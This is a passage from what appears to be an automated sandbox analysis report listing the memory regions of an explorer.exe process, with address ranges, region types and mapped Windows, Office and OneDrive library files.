"c:\\windows\\system32\\en-us\\stobject.dll.mui") Region: id = 4187 start_va = 0x6ba0000 end_va = 0x6ba1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006ba0000" filename = "" Region: id = 4188 start_va = 0x6be0000 end_va = 0x6c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006be0000" filename = "" Region: id = 4189 start_va = 0x6c80000 end_va = 0x6cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c80000" filename = "" Region: id = 4190 start_va = 0x6d80000 end_va = 0x6dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006d80000" filename = "" Region: id = 4191 start_va = 0x6e00000 end_va = 0x6f2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ieframe.dll.mui" filename = "\\Windows\\System32\\en-US\\ieframe.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\ieframe.dll.mui") Region: id = 4192 start_va = 0x71f0000 end_va = 0x726ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000071f0000" filename = "" Region: id = 4193 start_va = 0x7300000 end_va = 0x730ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007300000" filename = "" Region: id = 4194 start_va = 0x73d0000 end_va = 0x76cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000073d0000" filename = "" Region: id = 4195 start_va = 0x77f0000 end_va = 0x77fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000077f0000" filename = "" Region: id = 4196 start_va = 0x7820000 end_va = 0x789ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007820000" filename = "" Region: id = 4197 start_va = 0x78a0000 end_va = 0x791ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000078a0000" filename = "" Region: id = 4198 start_va = 0x7aa0000 end_va = 0x7aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007aa0000" filename = "" Region: id = 4199 start_va = 0x7ab0000 end_va = 0x8e04fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 4200 start_va = 0x8e40000 end_va = 0x8ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008e40000" filename = "" Region: id = 4201 start_va = 0x9040000 end_va = 0x90bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009040000" filename = "" Region: id = 4202 start_va = 0x9240000 end_va = 0x92bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009240000" filename = "" Region: id = 4203 start_va = 0x9400000 end_va = 0x947ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009400000" filename = "" Region: id = 4204 start_va = 0x9490000 end_va = 0x950ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009490000" filename = "" Region: id = 4205 start_va = 0x9510000 end_va = 0x970ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009510000" filename = "" Region: id = 4206 start_va = 0x9710000 end_va = 0x9b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009710000" filename = "" Region: id = 4207 start_va = 0xa240000 end_va = 0xa2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a240000" filename = "" Region: id = 4208 start_va = 0xa550000 end_va = 0xad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a550000" filename = "" Region: id = 4209 start_va = 0xad50000 end_va = 0xc0a4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 4210 start_va = 0x73310000 end_va = 0x73315fff monitored = 0 entry_point = 0x73311010 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 4211 start_va = 0x746b0000 end_va = 0x74792fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 4212 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4213 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4214 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4215 start_va = 0x76ee0000 end_va = 0x76ee6fff monitored = 0 entry_point = 0x76ee106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 4216 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4217 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4218 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4219 start_va = 0xff8e0000 end_va = 0xffb9ffff monitored = 0 entry_point = 0xff90b790 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 4220 start_va = 0x7fef21c0000 end_va = 0x7fef21fafff monitored = 0 entry_point = 0x7fef21c1238 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 4221 start_va = 0x7fef2f00000 end_va = 0x7fef2fc5fff monitored = 0 entry_point = 0x7fef2f0f220 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 4222 start_va = 0x7fef34f0000 end_va = 0x7fef358cfff monitored = 0 entry_point = 0x7fef357d52c region_type = mapped_file name = "fxsapi.dll" filename = "\\Windows\\System32\\FXSAPI.dll" (normalized: "c:\\windows\\system32\\fxsapi.dll") Region: id = 4223 start_va = 0x7fef3590000 end_va = 0x7fef3666fff monitored = 0 entry_point = 0x7fef3591254 region_type = mapped_file name = "fxsst.dll" filename = "\\Windows\\System32\\FXSST.dll" (normalized: "c:\\windows\\system32\\fxsst.dll") Region: id = 4224 start_va = 0x7fef3670000 end_va = 0x7fef36a0fff monitored = 0 entry_point = 0x7fef3671b24 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 4225 start_va = 0x7fef36b0000 end_va = 0x7fef3704fff monitored = 0 entry_point = 0x7fef36b26e4 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 4226 start_va = 0x7fef3710000 end_va = 0x7fef378efff monitored = 0 entry_point = 0x7fef3711070 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 4227 start_va = 0x7fef3790000 end_va = 0x7fef3851fff monitored = 0 entry_point = 0x7fef37b04b4 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 4228 start_va = 0x7fef3aa0000 end_va = 0x7fef3b54fff monitored = 0 entry_point = 0x7fef3ac1cd0 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 4229 start_va = 0x7fef3b60000 end_va = 0x7fef3d8afff monitored = 0 entry_point = 0x7fef3b61f00 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 4230 start_va = 0x7fef3d90000 end_va = 0x7fef3e66fff monitored = 0 entry_point = 0x7fef3d91074 region_type = mapped_file name = "searchfolder.dll" filename = "\\Windows\\System32\\SearchFolder.dll" (normalized: "c:\\windows\\system32\\searchfolder.dll") Region: id = 4231 start_va = 0x7fef3e70000 end_va = 0x7fef3eb4fff monitored = 0 entry_point = 0x7fef3e74190 region_type = mapped_file name = "qagent.dll" filename = "\\Windows\\System32\\QAGENT.DLL" (normalized: "c:\\windows\\system32\\qagent.dll") Region: id = 4232 start_va = 0x7fef3ef0000 end_va = 0x7fef3f0efff monitored = 0 entry_point = 0x7fef3ef57b8 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 4233 start_va = 0x7fef44c0000 end_va = 0x7fef4607fff monitored = 0 entry_point = 0x7fef44c1010 region_type = mapped_file name = "naturallanguage6.dll" filename = "\\Windows\\System32\\NaturalLanguage6.dll" (normalized: "c:\\windows\\system32\\naturallanguage6.dll") Region: id = 4234 start_va = 0x7fef4610000 end_va = 0x7fef4667fff monitored = 0 entry_point = 0x7fef46130f0 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 4235 start_va = 0x7fef4670000 end_va = 0x7fef46cdfff monitored = 0 entry_point = 0x7fef46aa7fc region_type = mapped_file name = "wwanapi.dll" filename = "\\Windows\\System32\\WWanAPI.dll" (normalized: "c:\\windows\\system32\\wwanapi.dll") Region: id = 4236 start_va = 0x7fef46d0000 end_va = 0x7fef46effff monitored = 0 entry_point = 0x7fef46d1010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 4237 start_va = 0x7fef4700000 end_va = 0x7fef470cfff monitored = 0 entry_point = 0x7fef4707104 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 4238 start_va = 0x7fef4920000 end_va = 0x7fef493efff monitored = 0 entry_point = 0x7fef4923580 region_type = mapped_file name = "qutil.dll" filename = "\\Windows\\System32\\QUTIL.DLL" (normalized: "c:\\windows\\system32\\qutil.dll") Region: id = 4239 start_va = 0x7fef4940000 end_va = 0x7fef4afcfff monitored = 0 entry_point = 0x7fef4941010 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 4240 start_va = 0x7fef4b00000 end_va = 0x7fef4b38fff monitored = 0 entry_point = 0x7fef4b01240 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 4241 start_va = 0x7fef4b40000 end_va = 0x7fef4b5ffff monitored = 0 entry_point = 0x7fef4b41298 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 4242 start_va = 0x7fef4b60000 end_va = 0x7fef4deafff monitored = 0 entry_point = 0x7fef4b66f5c region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 4243 start_va = 0x7fef4df0000 end_va = 0x7fef4e63fff monitored = 0 entry_point = 0x7fef4e254c8 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 4244 start_va = 0x7fef4e70000 end_va = 0x7fef4ee0fff monitored = 0 entry_point = 0x7fef4eaecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 4245 start_va = 0x7fef4ef0000 end_va = 0x7fef4f58fff monitored = 0 entry_point = 0x7fef4ef1198 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 4246 start_va = 0x7fef50a0000 end_va = 0x7fef51dbfff monitored = 0 entry_point = 0x7fef50a197c region_type = mapped_file name = "werconcpl.dll" filename = "\\Windows\\System32\\werconcpl.dll" (normalized: "c:\\windows\\system32\\werconcpl.dll") Region: id = 4247 start_va = 0x7fef51e0000 end_va = 0x7fef5299fff monitored = 0 entry_point = 0x7fef51e115c region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 4248 start_va = 0x7fef52a0000 end_va = 0x7fef5e56fff monitored = 0 entry_point = 0x7fef52a1bd8 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 4249 start_va = 0x7fef6160000 end_va = 0x7fef619afff monitored = 0 entry_point = 0x7fef6187600 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" (normalized: "c:\\windows\\system32\\wdmaud.drv") Region: id = 4250 start_va = 0x7fef61a0000 end_va = 0x7fef633bfff monitored = 0 entry_point = 0x7fef61a1030 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 4251 start_va = 0x7fef6360000 end_va = 0x7fef6380fff monitored = 0 entry_point = 0x7fef63673a0 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 4252 start_va = 0x7fef6390000 end_va = 0x7fef640efff monitored = 0 entry_point = 0x7fef63e385c region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 4253 start_va = 0x7fef6410000 end_va = 0x7fef644afff monitored = 0 entry_point = 0x7fef6411070 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll") Region: id = 4254 start_va = 0x7fef6520000 end_va = 0x7fef6528fff monitored = 0 entry_point = 0x7fef65235c0 region_type = mapped_file name = "msiltcfg.dll" filename = "\\Windows\\System32\\msiltcfg.dll" (normalized: "c:\\windows\\system32\\msiltcfg.dll") Region: id = 4255 start_va = 0x7fef6530000 end_va = 0x7fef67d2fff monitored = 0 entry_point = 0x7fef6533498 region_type = mapped_file name = "gameux.dll" filename = "\\Windows\\System32\\gameux.dll" (normalized: "c:\\windows\\system32\\gameux.dll") Region: id = 4256 start_va = 0x7fef67e0000 end_va = 0x7fef67ebfff monitored = 0 entry_point = 0x7fef67e1380 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 4257 start_va = 0x7fef67f0000 end_va = 0x7fef6823fff monitored = 0 entry_point = 0x7fef67f1890 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 4258 start_va = 0x7fef6830000 end_va = 0x7fef691dfff monitored = 0 entry_point = 0x7fef68312a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 4259 start_va = 0x7fef6920000 end_va = 0x7fef69a2fff monitored = 0 entry_point = 0x7fef694692c region_type = mapped_file name = "timedate.cpl" filename = "\\Windows\\System32\\timedate.cpl" (normalized: "c:\\windows\\system32\\timedate.cpl") Region: id = 4260 start_va = 0x7fef6a50000 end_va = 0x7fef6a92fff monitored = 0 entry_point = 0x7fef6a71b50 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 4261 start_va = 0x7fef6aa0000 end_va = 0x7fef6bbefff monitored = 0 entry_point = 0x7fef6ab339c region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 4262 start_va = 0x7fef6bc0000 end_va = 0x7fef6be7fff monitored = 0 entry_point = 0x7fef6bd3cc4 region_type = mapped_file name = "wscinterop.dll" filename = "\\Windows\\System32\\wscinterop.dll" (normalized: "c:\\windows\\system32\\wscinterop.dll") Region: id = 4263 start_va = 0x7fef6c60000 end_va = 0x7fef6c72fff monitored = 0 entry_point = 0x7fef6c6a8b8 region_type = mapped_file name = "wscapi.dll" filename = "\\Windows\\System32\\wscapi.dll" (normalized: "c:\\windows\\system32\\wscapi.dll") Region: id = 4264 start_va = 0x7fef6c90000 end_va = 0x7fef6c97fff monitored = 0 entry_point = 0x7fef6c91030 region_type = mapped_file name = "iconcodecservice.dll" filename = "\\Windows\\System32\\IconCodecService.dll" (normalized: "c:\\windows\\system32\\iconcodecservice.dll") Region: id = 4265 start_va = 0x7fef6ca0000 end_va = 0x7fef6d1ffff monitored = 0 entry_point = 0x7fef6ca4a8c region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 4266 start_va = 0x7fef6d20000 end_va = 0x7fef6d2bfff monitored = 0 entry_point = 0x7fef6d21070 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 4267 start_va = 0x7fef6d30000 end_va = 0x7fef6dadfff monitored = 0 entry_point = 0x7fef6d31304 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 4268 start_va = 0x7fef6db0000 end_va = 0x7fef6de4fff monitored = 0 entry_point = 0x7fef6dbc59c region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 4269 start_va = 0x7fef6df0000 end_va = 0x7fef766dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\PROGRA~1\\MICROS~1\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\micros~1\\office16\\1033\\grooveintlresource.dll") Region: id = 4270 start_va = 0x7fef7670000 end_va = 0x7fef7828fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 4271 start_va = 0x7fef7830000 end_va = 0x7fef7b45fff monitored = 0 entry_point = 0x7fef7833e98 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 4272 start_va = 0x7fef7b50000 end_va = 0x7fef7b52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 4273 start_va = 0x7fef7b60000 end_va = 0x7fef7b64fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 4274 start_va = 0x7fef7b70000 end_va = 0x7fef7b72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 4275 start_va = 0x7fef7b80000 end_va = 0x7fef7b82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 4276 start_va = 0x7fef7b90000 end_va = 0x7fef7b92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 4277 start_va = 0x7fef7ba0000 end_va = 0x7fef7ba2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 4278 start_va = 0x7fef7bb0000 end_va = 0x7fef7bbbfff monitored = 0 entry_point = 0x7fef7bb4150 region_type = mapped_file name = "vcruntime140_1.dll" filename = "\\Windows\\System32\\vcruntime140_1.dll" (normalized: "c:\\windows\\system32\\vcruntime140_1.dll") Region: id = 4279 start_va = 0x7fef7bc0000 end_va = 0x7fef7c50fff monitored = 0 entry_point = 0x7fef7c12430 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 4280 start_va = 0x7fef7c60000 end_va = 0x7fef7c63fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 4281 start_va = 0x7fef7c70000 end_va = 0x7fef7c73fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 4282 start_va = 0x7fef7c80000 end_va = 0x7fef7c83fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 4283 start_va = 0x7fef7c90000 end_va = 0x7fef7c92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 4284 start_va = 0x7fef7ca0000 end_va = 0x7fef7ca2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 4285 start_va = 0x7fef7cb0000 end_va = 0x7fef7cb2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 4286 start_va = 0x7fef7cc0000 end_va = 0x7fef7cc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 4287 start_va = 0x7fef7cd0000 end_va = 0x7fef7cd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 4288 start_va = 0x7fef7ce0000 end_va = 0x7fef7ce2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 4289 start_va = 0x7fef7cf0000 end_va = 0x7fef7de1fff monitored = 0 entry_point = 0x7fef7cf9060 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 4290 start_va = 0x7fef7df0000 end_va = 0x7fef7e08fff monitored = 0 entry_point = 0x7fef7dfee50 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 4291 start_va = 0x7fef7e10000 end_va = 0x7fef8023fff monitored = 0 entry_point = 0x7fef7e11000 region_type = mapped_file name = "grooveex.dll" filename = "\\PROGRA~1\\MICROS~1\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\micros~1\\office16\\grooveex.dll") Region: id = 4292 start_va = 0x7fef8030000 end_va = 0x7fef80fdfff monitored = 0 entry_point = 0x7fef80530fc region_type = mapped_file name = "msvcr110.dll" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64\\msvcr110.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\amd64\\msvcr110.dll") Region: id = 4293 start_va = 0x7fef8100000 end_va = 0x7fef81a6fff monitored = 0 entry_point = 0x7fef814b93c region_type = mapped_file name = "msvcp110.dll" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64\\msvcp110.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\amd64\\msvcp110.dll") Region: id = 4294 start_va = 0x7fef81b0000 end_va = 0x7fef8205fff monitored = 0 entry_point = 0x7fef81b86e8 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\amd64\\filesyncshell64.dll") Region: id = 4295 start_va = 0x7fef8210000 end_va = 0x7fef83d9fff monitored = 0 entry_point = 0x7fef8217a60 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 4296 start_va = 0x7fef86a0000 end_va = 0x7fef86a3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 4297 start_va = 0x7fef8790000 end_va = 0x7fef879bfff monitored = 0 entry_point = 0x7fef879602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 4298 start_va = 0x7fef87e0000 end_va = 0x7fef885bfff monitored = 0 entry_point = 0x7fef87e11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 4299 start_va = 0x7fef8950000 end_va = 0x7fef8a0cfff monitored = 0 entry_point = 0x7fef8951ea4 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 4300 start_va = 0x7fef8c60000 end_va = 0x7fef8c9afff monitored = 0 entry_point = 0x7fef8c622f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 4301 start_va = 0x7fef8f10000 end_va = 0x7fef8f83fff monitored = 0 entry_point = 0x7fef8f166f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 4302 start_va = 0x7fef9850000 end_va = 0x7fef98a6fff monitored = 0 entry_point = 0x7fef9851118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4303 start_va = 0x7fef9dd0000 end_va = 